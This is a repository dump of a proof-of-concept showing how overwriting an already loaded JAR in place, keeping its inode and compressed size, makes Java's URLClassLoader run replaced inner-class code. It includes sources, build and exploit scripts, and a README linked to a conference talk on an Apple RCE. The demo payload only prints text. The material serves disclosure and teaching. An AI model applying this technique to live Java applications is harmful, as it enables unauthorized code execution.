├── .gitignore ├── Bootstrapper.jar ├── Bootstrapper ├── Main.class └── Main.java ├── BuildDirForExploit ├── HelloWorld │ ├── Main.class │ ├── Secondary$1.class │ └── Secondary.class └── exploit.jar ├── Exploit └── HelloWorld │ ├── Main.class │ ├── Main.java │ ├── Secondary$1.class │ ├── Secondary.class │ └── Secondary.java ├── HelloWorld.jar ├── HelloWorld ├── Main.class ├── Main.java ├── Secondary$1.class ├── Secondary.class └── Secondary.java ├── OrigHelloWorld.jar ├── README.md ├── build-and-run.sh ├── exploit.sh └── testdir ├── hej └── hej123 /.gitignore: -------------------------------------------------------------------------------- 1 | *.log 2 | -------------------------------------------------------------------------------- /Bootstrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fransr/hot-jar-swapping-urlclassloader/7e8e523f51cb676af019748a38129e35337d2e8f/Bootstrapper.jar -------------------------------------------------------------------------------- /Bootstrapper/Main.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fransr/hot-jar-swapping-urlclassloader/7e8e523f51cb676af019748a38129e35337d2e8f/Bootstrapper/Main.class -------------------------------------------------------------------------------- /Bootstrapper/Main.java: -------------------------------------------------------------------------------- 1 | package Bootstrapper; 2 | 3 | import java.lang.reflect.Constructor; 4 | import java.lang.reflect.Method; 5 | import java.net.URL; 6 | import java.util.Scanner; 7 | import java.net.URLClassLoader; 8 | 9 | /** 10 | * @author ashraf 11 | * 12 | */ 13 | public class Main { 14 | 15 | /** 16 | * @param args 17 | * @throws Exception 18 | */ 19 | public static void main(String[] args) throws Exception { 20 | URL[] classLoaderUrls = new URL[]{new URL("file://" + System.getProperty("user.dir") + "/HelloWorld.jar")}; 21 | URLClassLoader urlClassLoader = new URLClassLoader(classLoaderUrls); 22 | Class beanClass = urlClassLoader.loadClass("HelloWorld.Main"); 23 | Constructor constructor = beanClass.getConstructor(); 24 | Object beanObj = constructor.newInstance(); 25 | Method method = beanClass.getMethod("hello"); 26 | method.invoke(beanObj); 27 | 28 | // Initiating the secondary class on boot, this is the one we replace the inner class of 29 | Class secondaryClass = urlClassLoader.loadClass("HelloWorld.Secondary"); 30 | Constructor secondaryConstructor = secondaryClass.getConstructor(); 31 | Object secondaryObj = secondaryConstructor.newInstance(); 32 | Method secondaryMethod = secondaryClass.getMethod("hello"); 33 | 34 | Scanner scanner = new Scanner(System.in); 35 | System.out.print("Click enter when you want to trigger the secondary class method\n(run ./build-exploit.sh to replace JAR)\n"); 36 | scanner.nextLine(); 37 | // Invoke secondary class hello that contains an inner class 38 | secondaryMethod.invoke(secondaryObj); 39 | } 40 | 41 | } 42 | -------------------------------------------------------------------------------- /BuildDirForExploit/HelloWorld/Main.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fransr/hot-jar-swapping-urlclassloader/7e8e523f51cb676af019748a38129e35337d2e8f/BuildDirForExploit/HelloWorld/Main.class -------------------------------------------------------------------------------- /BuildDirForExploit/HelloWorld/Secondary$1.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fransr/hot-jar-swapping-urlclassloader/7e8e523f51cb676af019748a38129e35337d2e8f/BuildDirForExploit/HelloWorld/Secondary$1.class -------------------------------------------------------------------------------- /BuildDirForExploit/HelloWorld/Secondary.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fransr/hot-jar-swapping-urlclassloader/7e8e523f51cb676af019748a38129e35337d2e8f/BuildDirForExploit/HelloWorld/Secondary.class -------------------------------------------------------------------------------- /BuildDirForExploit/exploit.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fransr/hot-jar-swapping-urlclassloader/7e8e523f51cb676af019748a38129e35337d2e8f/BuildDirForExploit/exploit.jar -------------------------------------------------------------------------------- /Exploit/HelloWorld/Main.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fransr/hot-jar-swapping-urlclassloader/7e8e523f51cb676af019748a38129e35337d2e8f/Exploit/HelloWorld/Main.class -------------------------------------------------------------------------------- /Exploit/HelloWorld/Main.java: -------------------------------------------------------------------------------- 1 | package HelloWorld; 2 | 3 | import java.nio.file.*; 4 | import java.io.*; 5 | import java.nio.file.attribute.*; 6 | 7 | public class Main { 8 | public static void hello() { 9 | System.out.println("Hello from Main-class"); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /Exploit/HelloWorld/Secondary$1.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fransr/hot-jar-swapping-urlclassloader/7e8e523f51cb676af019748a38129e35337d2e8f/Exploit/HelloWorld/Secondary$1.class -------------------------------------------------------------------------------- /Exploit/HelloWorld/Secondary.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fransr/hot-jar-swapping-urlclassloader/7e8e523f51cb676af019748a38129e35337d2e8f/Exploit/HelloWorld/Secondary.class -------------------------------------------------------------------------------- /Exploit/HelloWorld/Secondary.java: -------------------------------------------------------------------------------- 1 | package HelloWorld; 2 | 3 | import java.nio.file.*; 4 | import java.io.*; 5 | import java.nio.file.attribute.*; 6 | 7 | public class Secondary { 8 | public static void hello() { 9 | try { 10 | System.out.println("Hello from secondary class, here are all files in testdir/\n"); 11 | Files.walkFileTree(Paths.get("testdir"), new SimpleFileVisitor() { 12 | public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) throws IOException { 13 | System.out.println(file); 14 | return FileVisitResult.CONTINUE; 15 | } 16 | 17 | public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException { 18 | System.out.println("AAAAAAAFGFFFFAAAGAAAAFAAAAAFFFFFAAAFA different code"); 19 | System.out.println(dir); 20 | return FileVisitResult.CONTINUE; 21 | } 22 | }); 23 | System.out.println("\nEnd of run, goodbye"); 24 | } catch(Exception e) { 25 | System.out.println("ERROR"); 26 | System.out.println(e); 27 | } 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /HelloWorld.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fransr/hot-jar-swapping-urlclassloader/7e8e523f51cb676af019748a38129e35337d2e8f/HelloWorld.jar -------------------------------------------------------------------------------- /HelloWorld/Main.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fransr/hot-jar-swapping-urlclassloader/7e8e523f51cb676af019748a38129e35337d2e8f/HelloWorld/Main.class -------------------------------------------------------------------------------- /HelloWorld/Main.java: -------------------------------------------------------------------------------- 1 | package HelloWorld; 2 | 3 | import java.nio.file.*; 4 | import java.io.*; 5 | import java.nio.file.attribute.*; 6 | 7 | public class Main { 8 | public static void hello() { 9 | System.out.println("Hello from Main-class"); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /HelloWorld/Secondary$1.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fransr/hot-jar-swapping-urlclassloader/7e8e523f51cb676af019748a38129e35337d2e8f/HelloWorld/Secondary$1.class -------------------------------------------------------------------------------- /HelloWorld/Secondary.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fransr/hot-jar-swapping-urlclassloader/7e8e523f51cb676af019748a38129e35337d2e8f/HelloWorld/Secondary.class -------------------------------------------------------------------------------- /HelloWorld/Secondary.java: -------------------------------------------------------------------------------- 1 | package HelloWorld; 2 | 3 | import java.nio.file.*; 4 | import java.io.*; 5 | import java.nio.file.attribute.*; 6 | 7 | public class Secondary { 8 | public static void hello() { 9 | try { 10 | System.out.println("Hello from secondary class, here are all files in testdir/\n"); 11 | Files.walkFileTree(Paths.get("testdir"), new SimpleFileVisitor() { 12 | public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) throws IOException { 13 | System.out.println(file); 14 | return FileVisitResult.CONTINUE; 15 | } 16 | 17 | public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException { 18 | System.out.println("\nThis is from the legit postVisitDirectory function:"); 19 | System.out.println(dir); 20 | return FileVisitResult.CONTINUE; 21 | } 22 | }); 23 | System.out.println("\nEnd of run, goodbye"); 24 | } catch(Exception e) { 25 | System.out.println("ERROR"); 26 | System.out.println(e); 27 | } 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /OrigHelloWorld.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fransr/hot-jar-swapping-urlclassloader/7e8e523f51cb676af019748a38129e35337d2e8f/OrigHelloWorld.jar -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # URLClassLoader hot jar swapping 2 | 3 | The following example code shows the ability to hot jar swap an already loaded JAR-file and get code execution by abusing the fact that inner classes still access the JAR file when invoked, as long as the inode does not change. 4 | 5 | Tested on MacOS with OpenJDK (And also exploited on Apple's Author publisher using Transporter). 6 | 7 | Demo from Frans Rosén's talk "Story of a RCE on Apple through hot jar swapping" from NahamCon 2022 EU. 8 | 9 | ## How to run 10 | 11 | ### `build-and-run.sh` 12 | 13 | You run it with: 14 | 15 | ``` 16 | ./build-and-run.sh 17 | ``` 18 | 19 | This will: 20 | 21 | ``` 22 | Compile HelloWorld/*.java into HelloWorld.jar 23 | Compile Bootstrapper/*.java into Bootstrapper.jar 24 | Make a copy of HelloWorld.jar into OrigHelloWorld.jar 25 | Run Bootstrapper.jar 26 | ``` 27 | 28 | Bootstrapper will load and run the `HelloWorld.Main`-class using URLClassLoader and will prompt you to run the method `hello` from the `HelloWorld.Secondary`-class that has also already been loaded. This is to control when to replace the JAR that has already been loaded. 29 | 30 | ``` 31 | $ ./build-and-run.sh 32 | Hello from Main-class 33 | Click enter when you want to trigger the secondary class method 34 | (run ./exploit.sh to replace JAR) 35 | ``` 36 | 37 | You can now decide if you want to click enter without replacing any JAR, this will show the proper code flow from `HelloWorld/Secondary.java`: 38 | 39 | ``` 40 | Hello from secondary class, here are all files in testdir/ 41 | 42 | testdir/hej 43 | testdir/hej123 44 | 45 | This is from the legit postVisitDirectory function: 46 | testdir 47 | 48 | End of run, goodbye 49 | ``` 50 | 51 | ### `exploit.sh` 52 | 53 | The `exploit.sh` will: 54 | 55 | ``` 56 | Compile Exploit/HelloWorld/*.java and move *.class files over to BuildDirForExploit/ 57 | Compile a exploit.jar from BuildDirForExploit/-dir 58 | Compare the exploit.jar and OrigHelloWorld.jar using unzip -lv 59 | Tell you if there's a diff or not based on size, compression rate and compression size 60 | Copy exploit.jar over the existing HelloWorld.jar regardless if there's a difference or not 61 | ``` 62 | 63 | The copying part when overwriting HelloWorld.jar with exploit.jar is important, because if the inode changes the exploit will not succeed. A `mv` command will write a new inode, but `cp` into an existing file will not. The same thing happened using the ZIP-extract, the inode of the already existing JAR never changed, allowing the exploit to work. 64 | 65 | If you want to test the hot JAR swapping, run the `exploit.sh` in a different window after you run but before you click enter when calling `build-and-run.sh`: 66 | 67 | ``` 68 | $ ./build-and-run.sh 69 | Hello from Main-class 70 | Click enter when you want to trigger the secondary class method 71 | (run ./exploit.sh to replace JAR) 72 | 73 | ## Run this in a different terminal: 74 | 75 | $ ./exploit.sh 76 | 77 | NO DIFF IN COMPRESSION, EXPLOIT WILL SUCCEED 78 | 79 | -rw-r--r-- 1 frans staff 2281 Dec 9 13:20 rce.jar 80 | -rw-r--r--@ 1 frans staff 2281 Dec 9 13:20 ../HelloWorld.jar 81 | 82 | ## Now click enter in the other tab to complete the ./build-and-run.sh) 83 | ``` 84 | 85 | If you now click enter on `./build-and-run.sh` you should successfully see the replaced code instead: 86 | 87 | ``` 88 | Hello from secondary class, here are all files in testdir/ 89 | 90 | testdir/hej 91 | testdir/hej123 92 | AAAAAAAFGFFFFAAAGAAAAFAAAAAFFFFFAAAFA different code 93 | testdir 94 | 95 | End of run, goodbye 96 | ``` 97 | 98 | Showing that we can abuse the fact that inner/anonymous-classes are still being loaded from the physical JAR-file even if the URLClassLoader has already loaded the JAR from before we replaced it. 99 | 100 | ## Explanation of the issue 101 | 102 | This code repo tries to explain that you are able to overwrite already loaded JAR-files to get code execution under a few pre-requisites. 103 | 104 | The idea is that the JAR was initially loaded with URLClassLoader: 105 | 106 | ``` 107 | URL[] classLoaderUrls = new URL[]{new URL("file://" + System.getProperty("user.dir") + "/HelloWorld.jar")}; 108 | URLClassLoader urlClassLoader = new URLClassLoader(classLoaderUrls); 109 | Class beanClass = urlClassLoader.loadClass("HelloWorld.Main"); 110 | Constructor constructor = beanClass.getConstructor(); 111 | Object beanObj = constructor.newInstance(); 112 | Method method = beanClass.getMethod("hello"); 113 | ``` 114 | 115 | And a secondary method was also loaded on boot but never invoked: 116 | 117 | ``` 118 | // Initiating the secondary class on boot, this is the one we replace the inner class of 119 | Class secondaryClass = urlClassLoader.loadClass("HelloWorld.Secondary"); 120 | Constructor secondaryConstructor = secondaryClass.getConstructor(); 121 | Object secondaryObj = secondaryConstructor.newInstance(); 122 | Method secondaryMethod = secondaryClass.getMethod("hello"); 123 | ``` 124 | 125 | If the JAR is then replaced while the app is running, and the class that was loaded but never had any methods invoked also has inner classes, we're able to make it run different code from the new JAR if the invocation happens later: 126 | 127 | ``` 128 | // Invoke secondary class hello that contains an inner class 129 | secondaryMethod.invoke(secondaryObj); 130 | ``` 131 | 132 | So if this method contains an inner-class (They show up in the JAR as `$1.class`) and we replace the inner-class with something with the same size and compression rate, we're able to hot swap the JAR and get our own code to run. 133 | 134 | ## Explanation of the exploit 135 | 136 | The anonymous class from the file `Exploit/HelloWorld/Secondary.java` compiles into the inner class `Exploit/HelloWorld/Secondary$1.class` which has the same size and compression rate as when `HelloWorld/Secondary.java` gets compiled and compressed. If the size or compression rate would differ, you would get a crash when clicking enter in `build-and-run.sh`. 137 | So if you would change `Exploit/HelloWorld/Secondary.java` to for example (`functionn` instead of `function:`): 138 | 139 | ``` 140 | public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException { 141 | System.out.println("\nThis is from the legit postVisitDirectory functionn"); 142 | System.out.println(dir); 143 | return FileVisitResult.CONTINUE; 144 | } 145 | ``` 146 | 147 | Where the compression result is the same but the compression rate is wrong: 148 | 149 | ``` 150 | $ ./exploit.sh 151 | 6c6 152 | < 1430 643 55% HelloWorld/Secondary$1.class 153 | --- 154 | > 1430 644 55% HelloWorld/Secondary$1.class 155 | DIFF IN COMP, EXPLOIT WILL CRASH 156 | -rw-r--r-- 1 frans staff 2280 Dec 9 13:44 exploit.jar 157 | -rw-r--r--@ 1 frans staff 2281 Dec 9 13:44 ../HelloWorld.jar 158 | ``` 159 | 160 | you would see: 161 | 162 | ``` 163 | Hello from Main-class 164 | Click enter when you want to trigger the secondary class method 165 | (run ./exploit.sh to replace JAR) 166 | 167 | Hello from secondary class, here are all files in testdir/ 168 | 169 | Exception in thread "main" java.lang.reflect.InvocationTargetException 170 | at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) 171 | at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) 172 | at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) 173 | at java.lang.reflect.Method.invoke(Method.java:498) 174 | at Bootstrapper.Main.main(Main.java:38) 175 | Caused by: java.lang.NoClassDefFoundError: HelloWorld/Secondary$1 176 | at HelloWorld.Secondary.hello(Secondary.java:11) 177 | ... 5 more 178 | Caused by: java.lang.ClassNotFoundException: HelloWorld.Secondary$1 179 | at java.net.URLClassLoader.findClass(URLClassLoader.java:387) 180 | at java.lang.ClassLoader.loadClass(ClassLoader.java:418) 181 | at java.lang.ClassLoader.loadClass(ClassLoader.java:351) 182 | ... 6 more 183 | ``` 184 | 185 | On OpenJDK it seems like if the original size differ but the compression size is the same it still works: 186 | 187 | ``` 188 | public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException { 189 | System.out.println("AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA"); 190 | System.out.println(dir); 191 | return FileVisitResult.CONTINUE; 192 | } 193 | ``` 194 | 195 | ``` 196 | $ ./exploit.sh 197 | 6c6 198 | < 1437 644 55% HelloWorld/Secondary$1.class 199 | --- 200 | > 1430 644 55% HelloWorld/Secondary$1.class 201 | 9c9 202 | < 2895 45% 5 203 | --- 204 | > 2888 45% 5 205 | DIFF IN COMP, EXPLOIT WILL CRASH 206 | -rw-r--r-- 1 frans staff 2281 Dec 9 13:52 exploit.jar 207 | -rw-r--r--@ 1 frans staff 2282 Dec 9 13:52 ../HelloWorld.jar 208 | ``` 209 | 210 | ``` 211 | Hello from secondary class, here are all files in testdir/ 212 | 213 | testdir/hej 214 | testdir/hej123 215 | AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA 216 | testdir 217 | ``` 218 | 219 | The `exploit.sh` will still say it's a difference as it might not work in all versions. 220 | 221 | You will also see that if you change things in `Exploit/HelloWorld/Secondary.java` outside of the inner-class, such as: 222 | 223 | ``` 224 | System.out.println("\nEnd of run, goodbye"); 225 | ``` 226 | 227 | into: 228 | 229 | ``` 230 | System.out.println("\nEnd of run, goodbya"); 231 | ``` 232 | 233 | which will make the `Secondary.class` be the same compression rate and size, it will still not trigger the replaced content, since the class is already loaded by URLClassLoader, confirming that this is only affecting inner-classes (the ones named `$1.class` in the JAR) since they are loaded from the JAR-file when used: 234 | 235 | ``` 236 | End of run, goodbye 237 | ``` 238 | -------------------------------------------------------------------------------- /build-and-run.sh: -------------------------------------------------------------------------------- 1 | javac HelloWorld/*.java && \ 2 | jar cf HelloWorld.jar HelloWorld/*.class && \ 3 | javac Bootstrapper/Main.java && \ 4 | jar cfe Bootstrapper.jar Bootstrapper.Main Bootstrapper/Main.class && \ 5 | cp HelloWorld.jar OrigHelloWorld.jar && \ 6 | java -jar Bootstrapper.jar; 7 | -------------------------------------------------------------------------------- /exploit.sh: -------------------------------------------------------------------------------- 1 | cd Exploit; 2 | javac HelloWorld/*.java; 3 | cd ../BuildDirForExploit; 4 | cp ../Exploit/HelloWorld/*.class HelloWorld/; 5 | rm exploit.jar 6 | jar cf exploit.jar HelloWorld/*.class; 7 | unzip -lv exploit.jar | tail -n +2 | sed -E 's/ +/ /g' | cut -d " " -f 2,4,5,9 > ../x; 8 | unzip -lv ../OrigHelloWorld.jar | tail -n +2 | sed -E 's/ +/ /g' | cut -d " " -f 2,4,5,9 > ../y; 9 | diff ../x ../y && echo "" && echo "NO DIFF IN COMPRESSION, EXPLOIT WILL SUCCEED" && echo "" || echo "DIFF IN COMP, EXPLOIT WILL CRASH"; 10 | ls -al exploit.jar; 11 | ls -al ../HelloWorld.jar; 12 | cp exploit.jar ../HelloWorld.jar; 13 | rm ../x ../y; 14 | echo "" 15 | echo "Now click enter in the other tab to complete the ./build-and-run.sh)" 16 | -------------------------------------------------------------------------------- /testdir/hej: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fransr/hot-jar-swapping-urlclassloader/7e8e523f51cb676af019748a38129e35337d2e8f/testdir/hej -------------------------------------------------------------------------------- /testdir/hej123: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fransr/hot-jar-swapping-urlclassloader/7e8e523f51cb676af019748a38129e35337d2e8f/testdir/hej123 --------------------------------------------------------------------------------